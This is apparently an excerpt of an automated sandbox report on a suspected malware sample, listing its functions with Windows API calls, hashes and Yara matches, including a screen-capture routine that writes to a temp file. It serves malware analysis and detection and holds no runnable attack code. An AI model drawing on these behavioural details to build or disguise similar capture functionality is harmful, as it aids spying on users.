Opcode ID: 5ee94715df9382555e62ea498577f74afa92c68033efe1c25507d27196f57aed
Instruction ID: 58f039e8a9daa1c4d9d346931ac8acd8603ce0735c91a0d1190a6ec6e1c60ff1
Opcode Fuzzy Hash: 5ee94715df9382555e62ea498577f74afa92c68033efe1c25507d27196f57aed
Instruction Fuzzy Hash: D0F04C363007045FDB289F399C8177BBBA0FF85368F15442EFA4187650DAB59C02C614

Function 007720D7 Relevance: 1.5, APIs: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,0076D12A,?,00000004), ref: 0077212A

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c5a5b8839cc7f3fc1f5381bce5e7976d2d7adc599d825faf57a050f8e114ae61
Instruction ID: 8a302069392689ae248ffc0cb4b0fc3cf7a685a2689171c5fc8dd9bcc32b8e6e
Opcode Fuzzy Hash: c5a5b8839cc7f3fc1f5381bce5e7976d2d7adc599d825faf57a050f8e114ae61
Instruction Fuzzy Hash: ACF0F63174030CBBDF119F609C06F6E7B51FF04B50F404155BE09262A6CB754D21EA88

Function 00771CE4 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076B304: RtlEnterCriticalSection.NTDLL(002F1E7A), ref: 0076B313

EnumSystemLocalesW.KERNEL32(00431A37,00000001,00454708,0000000C), ref: 00771D1C

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: e7e28f973457a1cbf27335dfafa6531596e04a51340ae5156edca4f9c913ce69
Instruction ID: c3888bd4ac6221b1975e8795d67cea5f20353627679ebe10c101d092057bc8f2
Opcode Fuzzy Hash: e7e28f973457a1cbf27335dfafa6531596e04a51340ae5156edca4f9c913ce69
Instruction Fuzzy Hash: AEF04F36A50300DFDB10EF68D84AB5D37F0AB09722F114265F915DB2E2C7789940CF49

Function 00431A7D Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042B09D: EnterCriticalSection.KERNEL32(?,?,0042E92A,?,00454588,00000008,0042E9F8,?,?,?), ref: 0042B0AC

EnumSystemLocalesW.KERNEL32(00431A37,00000001,00454708,0000000C), ref: 00431AB5

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 965e1bc549bb07b31f4385b8a2212eb4e5e03a738c8b77ac658036f568e8d432
Instruction ID: dd6115817a24b7cf921e5007a4ce08c86a573acc0e77d1c11877cd223ecaa101
Opcode Fuzzy Hash: 965e1bc549bb07b31f4385b8a2212eb4e5e03a738c8b77ac658036f568e8d432
Instruction Fuzzy Hash: 4CF04F32A50300DFDB10EFA8D846B4D37E0AB09726F11816AF910DB2E2CB789944CF49

Function 00778199 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

EnumSystemLocalesW.KERNEL32(00437E89,00000001,?,?,?,0077895B,0076D6CC,?,?,?,?,?,0076D6CC,?,?,?), ref: 007781D0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: c5cf8766c395f84dd5bcb1047b3741b15fc7d3b5051f3cd9bea0ebce490640b2
Instruction ID: e073d5e2460f070109be52a371f341af92ca7692020aae58b7313deddc073744
Opcode Fuzzy Hash: c5cf8766c395f84dd5bcb1047b3741b15fc7d3b5051f3cd9bea0ebce490640b2
Instruction Fuzzy Hash: 17F0E53A340209A7CB149F39DC5976A7F94FFC1750F4A805EEE098B251C6799943C7A0

Function 00437F32 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

EnumSystemLocalesW.KERNEL32(00437E89,00000001,?,?,?,004386F4,0042D465,?,?,?,?,?,0042D465,?,?,?), ref: 00437F69

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 207ed9028f4ac23f91b4fd2d2b7a8b5c5ea251c2426c4c0b4c33c2ce9f2520a8
Instruction ID: 51d59528fbdd0d8b2d87bea138bf817afda36d4acab07d0ae92d479409bc3d5d
Opcode Fuzzy Hash: 207ed9028f4ac23f91b4fd2d2b7a8b5c5ea251c2426c4c0b4c33c2ce9f2520a8
Instruction Fuzzy Hash: 29F0E53A30020597CB24DF76E85576A7F94FFC6764F16409AEA058B290C6799843C794

Function 0074D56D Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040D312,0074CB01), ref: 0074D572

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction ID: 14e6127c47b1d2521169e1f08ac487c75bcb91facda7f2feddefb64ae8933b8c
Opcode Fuzzy Hash: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction Fuzzy Hash:

Function 0040D306 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000D312,0040C89A), ref: 0040D30B

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction ID: 14e6127c47b1d2521169e1f08ac487c75bcb91facda7f2feddefb64ae8933b8c
Opcode Fuzzy Hash: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction Fuzzy Hash:

Function 00438871 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00438871

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: d75e7de4c216db68e074364054b54165d17044bc72cf8b5ee5f0edc2a60f4a27
Instruction ID: 2aca1dadaff4b3165dfbf42665d4ce92d94e95f9f8cb3bb3814f68a951af50cd
Opcode Fuzzy Hash: d75e7de4c216db68e074364054b54165d17044bc72cf8b5ee5f0edc2a60f4a27
Instruction Fuzzy Hash: 0DA01138200200CB83808F30AA0830E3BA8BA03282B008038A008C2020EB30C8208A08

Function 00434089 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 281979e135dcf882a2b2e9cb682aa2d8d9093fc3f523254dce57147f9dfc780b
Instruction ID: 3260f34a7d070e60ba19ca7f1c015330544333a0cbea262c7009e9d5d27d9777
Opcode Fuzzy Hash: 281979e135dcf882a2b2e9cb682aa2d8d9093fc3f523254dce57147f9dfc780b
Instruction Fuzzy Hash: D4323825D29F414DD7239638CC22336A289AFB73D4F15E737E829B5AA5EB2DD4C34108

Function 00764E57 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 234b5b60c29edc6a3c79c4a0021032bf8dc92b752b6cd8c5c7cfd84a8ee98433
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: DC9185722080A34EDB29463A853407EFFE15A523A171E079EECF3CB1C5EE29C954E660

Function 00424BF0 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 2ac23d466b97307f58d4ad396448343a76a0bf8ce2b5ef8484d096016ab2c541
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: FC9193723090B309EB2D467EA47403FFEE1DAD23A135A079FD4F2CB6C5EE1885649624

Function 00765112 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 20ee16b60572737b7fb2dcb5f2efb6c4403045ac759acdf8722aa665433ed44c
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: A09176721094A30EDB6D427A857413EFFE15A527A1B1E079DECF3CA1C5EE28C954F620

Function 00424EAB Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: cb2d39807b77c9e7cca367eb70d7e9644902994f3eca1b2c42a3adfbab84ad2e
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: 8D9185723084B349D729467AA53403FFEE19AD23A135B079FE4F2CA6C5EE288564D624

Function 00764B90 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: f0c3207d5df4564d34c708d125dac976dc5e3187e693729e186071d96719d5c2
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 8A9154726090A34EDB6D463A857403EFFE15A923A171A079ED8F3CB1C5EE18C964D620

Function 00424929 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 67ade1a8fddbf6aa87e2616cb762cce78467ac60f3d165c0b427dfcbc0b4f454
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 249195723080B349DB298639A47413FFEE19AD13A134A079FD4F2CA6C5ED18D564DA28

Function 0076A405 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa933ccec10e3dc267e5a1b05fab58e38a26723b102669592c92cd964c9176e
Instruction ID: 703eeb74cfb3ba6d20eab1cd3a7024b0c4bb58698d85a0223e08db6a7b3f347b
Opcode Fuzzy Hash: 9fa933ccec10e3dc267e5a1b05fab58e38a26723b102669592c92cd964c9176e
Instruction Fuzzy Hash: 6A618671600788B6DE389A2C8C9DBBE2794AF01740F14041AED47FB283EA9DDD468F57

Function 0042A19E Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32357502def5e470748856c84f612a1d18af5516d28d46552c48373c7dd41639
Instruction ID: 751aa4010ba611fd03dde60cbec16f67a726ba6b25513480487c966b51f8deae
Opcode Fuzzy Hash: 32357502def5e470748856c84f612a1d18af5516d28d46552c48373c7dd41639
Instruction Fuzzy Hash: 6561533170073897DA389A687985BBF6384AB12704FE4055BEC43DB381D65E9CA2862F

Function 007648E6 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: a196aef0ffec7cf17a2ed584d82d96614278f56cc0c27b9b54ce16c26712e056
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 468182732490A30EDB6D8679847453EFFE15A523A131A079ED8F3CA1C5EE28DA54D620

Function 0042467F Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 001bcd5e9615593a9a227e1ce0429a7cfb675f2a73d1164aeda5b81394656bfe
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: D68182763090F34EDB29467AA47403FFFE19AD23A135A079FD4F2CA2C1EE188565D624

Function 007644C7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a5843afda8df6c09d6b846b499b3a12a69893069b574766be95e4ab721caa8ee
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: E411507B20104143D615C63DD4B42F7E795EBC632173D437BE9438B75AD22AD964D600

Function 00424260 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8231fa563f0f49d4b9c8f8dfcb97e22e9cbfaf97f5b2c529b3f1ede505588f88
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 1D1138773000B2C3D604866FF4B47B7A795EBC53617ED43EBF0414BB48C22AE8419528

Function 00700083 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 988329e8215a91641f600c69a569a5d9858f67081de31eeed42e046af576e3de
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 53112A72340104EFD754DF55DC91FA673EAEB89330F298165E908CB356D67AE841C7A0

Function 00740D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 83cb4229d83530d0370d8454753e9f6060eefeea1989221efaaa3cc0283f3631
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 88018F76B006149FDB21DF64C804BAA33B5FB86316F4544A5DA0A97282E778A9458FD0

Function 00401E44 Relevance: 49.2, APIs: 27, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000014,?,?), ref: 00401E7F
GetClientRect.USER32(?,?), ref: 00401E94
GetDC.USER32(?), ref: 00401E9B
CreateSolidBrush.GDI32(00646464), ref: 00401EAE
SelectObject.GDI32(00000000,00000000), ref: 00401EC2
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 00401ECD
SelectObject.GDI32(00000000,00000000), ref: 00401EDB
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00401EEE
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401EF9
MulDiv.KERNEL32(00000008,00000000), ref: 00401F02
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,Tahoma), ref: 00401F26
SelectObject.GDI32(00000000,00000000), ref: 00401F34
SetBkMode.GDI32(?,00000001), ref: 00401FB1
SetTextColor.GDI32(?,00000000), ref: 00401FC0
_wcslen.LIBCMT ref: 00401FC9

Strings

Tahoma, xrefs: 00401F08

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CreateObjectSelect$BrushCapsClientColorDeviceFontModeProcRectRectangleSolidTextWindow_wcslen
String ID: Tahoma
API String ID: 3832963559-3580928618
Opcode ID: b03a7801d6019e59bb4c233ad1414a5731b908e49fac2b6ae936764f1f9c7900
Instruction ID: 0ff09d43ab92fd94db4e04707a24a08b32e8602f4e90d33efca8c57d9b795f06
Opcode Fuzzy Hash: b03a7801d6019e59bb4c233ad1414a5731b908e49fac2b6ae936764f1f9c7900
Instruction Fuzzy Hash: F0711F72900228AFDB229F74DD85FAEB7BCEF09710F0041A5B609E6151DA74AF91CF14

Function 004022BB Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 186windowkeyboardfileCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 00402317
DefWindowProcW.USER32(?,00000204,?,?), ref: 00402329
ReleaseCapture.USER32 ref: 0040233C
GetDC.USER32(00000000), ref: 00402363
CreateCompatibleBitmap.GDI32(?,-0045955F,00000001), ref: 004023EA
CreateCompatibleDC.GDI32(?), ref: 004023F3
SelectObject.GDI32(00000000,00000000), ref: 004023FD
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00CC0020), ref: 0040242B
ShowWindow.USER32(?,00000000), ref: 00402434
GetTempPathW.KERNEL32(00000104,?), ref: 00402446
GetTempFileNameW.KERNEL32(?,gya,00000000,?), ref: 00402461
DeleteFileW.KERNEL32(?), ref: 0040247B
DeleteDC.GDI32(00000000), ref: 00402482
DeleteObject.GDI32(00000000), ref: 00402489
ReleaseDC.USER32(00000000,?), ref: 00402497
DestroyWindow.USER32(?), ref: 0040249E
SetCapture.USER32(?), ref: 004024EB
GetDC.USER32(00000000), ref: 0040251F
ReleaseDC.USER32(00000000,00000000), ref: 00402535
GetKeyState.USER32(0000001B), ref: 00402542
DestroyWindow.USER32(?), ref: 00402557

Strings

gya, xrefs: 00402455

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Window$DeleteDestroyRelease$CaptureCompatibleCreateFileObjectTemp$BitmapNamePathProcSelectShowState
String ID: gya
API String ID: 2545303185-1989253062
Opcode ID: 9dfe4c6a1e34ae521082438855381b6b7e2b826d81ad1e6ca3bae942615d5e8d
Instruction ID: ae3177f1b83591c364d2a65ea08a5a153b551efd0c8b4a86ff32973b78b82aba
Opcode Fuzzy Hash: 9dfe4c6a1e34ae521082438855381b6b7e2b826d81ad1e6ca3bae942615d5e8d
Instruction Fuzzy Hash: 82615F76500208EBCB15CF64ED48BAA77B9FB49301F14447AF606922A2E7B8DD61CF1C

Function 0077750F Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00777553

Part of subcall function 007768A2: _free.LIBCMT ref: 007768BF
Part of subcall function 007768A2: _free.LIBCMT ref: 007768D1
Part of subcall function 007768A2: _free.LIBCMT ref: 007768E3
Part of subcall function 007768A2: _free.LIBCMT ref: 007768F5
Part of subcall function 007768A2: _free.LIBCMT ref: 00776907
Part of subcall function 007768A2: _free.LIBCMT ref: 00776919
Part of subcall function 007768A2: _free.LIBCMT ref: 0077692B
Part of subcall function 007768A2: _free.LIBCMT ref: 0077693D
Part of subcall function 007768A2: _free.LIBCMT ref: 0077694F
Part of subcall function 007768A2: _free.LIBCMT ref: 00776961
Part of subcall function 007768A2: _free.LIBCMT ref: 00776973
Part of subcall function 007768A2: _free.LIBCMT ref: 00776985
Part of subcall function 007768A2: _free.LIBCMT ref: 00776997

_free.LIBCMT ref: 00777548

Part of subcall function 00770381: HeapFree.KERNEL32(00000000,00000000,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?), ref: 00770397
Part of subcall function 00770381: GetLastError.KERNEL32(?,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?,?), ref: 007703A9

_free.LIBCMT ref: 0077756A
_free.LIBCMT ref: 0077757F
_free.LIBCMT ref: 0077758A
_free.LIBCMT ref: 007775AC
_free.LIBCMT ref: 007775BF
_free.LIBCMT ref: 007775CD
_free.LIBCMT ref: 007775D8
_free.LIBCMT ref: 00777610
_free.LIBCMT ref: 00777617
_free.LIBCMT ref: 00777634
_free.LIBCMT ref: 0077764C

Strings

8bE, xrefs: 00777525
hcE, xrefs: 007775FB

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8bE$hcE
API String ID: 161543041-4064109225
Opcode ID: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction ID: 2d07c2d5c9da75460da7a34ef4220aedddd7287be595f7c02e0a5ee50dd86746
Opcode Fuzzy Hash: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction Fuzzy Hash: A0315971A08600DFEF24AB39D849B5A73E9AB00391F10C969E44CD7291DB78ED51CB60

Function 004372A8 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004372EC

Part of subcall function 0043663B: _free.LIBCMT ref: 00436658
Part of subcall function 0043663B: _free.LIBCMT ref: 0043666A
Part of subcall function 0043663B: _free.LIBCMT ref: 0043667C
Part of subcall function 0043663B: _free.LIBCMT ref: 0043668E
Part of subcall function 0043663B: _free.LIBCMT ref: 004366A0
Part of subcall function 0043663B: _free.LIBCMT ref: 004366B2
Part of subcall function 0043663B: _free.LIBCMT ref: 004366C4
Part of subcall function 0043663B: _free.LIBCMT ref: 004366D6
Part of subcall function 0043663B: _free.LIBCMT ref: 004366E8
Part of subcall function 0043663B: _free.LIBCMT ref: 004366FA
Part of subcall function 0043663B: _free.LIBCMT ref: 0043670C
Part of subcall function 0043663B: _free.LIBCMT ref: 0043671E
Part of subcall function 0043663B: _free.LIBCMT ref: 00436730

_free.LIBCMT ref: 004372E1

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 00437303
_free.LIBCMT ref: 00437318
_free.LIBCMT ref: 00437323
_free.LIBCMT ref: 00437345
_free.LIBCMT ref: 00437358
_free.LIBCMT ref: 00437366
_free.LIBCMT ref: 00437371
_free.LIBCMT ref: 004373A9
_free.LIBCMT ref: 004373B0
_free.LIBCMT ref: 004373CD
_free.LIBCMT ref: 004373E5

Strings

0bE, xrefs: 004372BE

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 0bE
API String ID: 161543041-2320990392
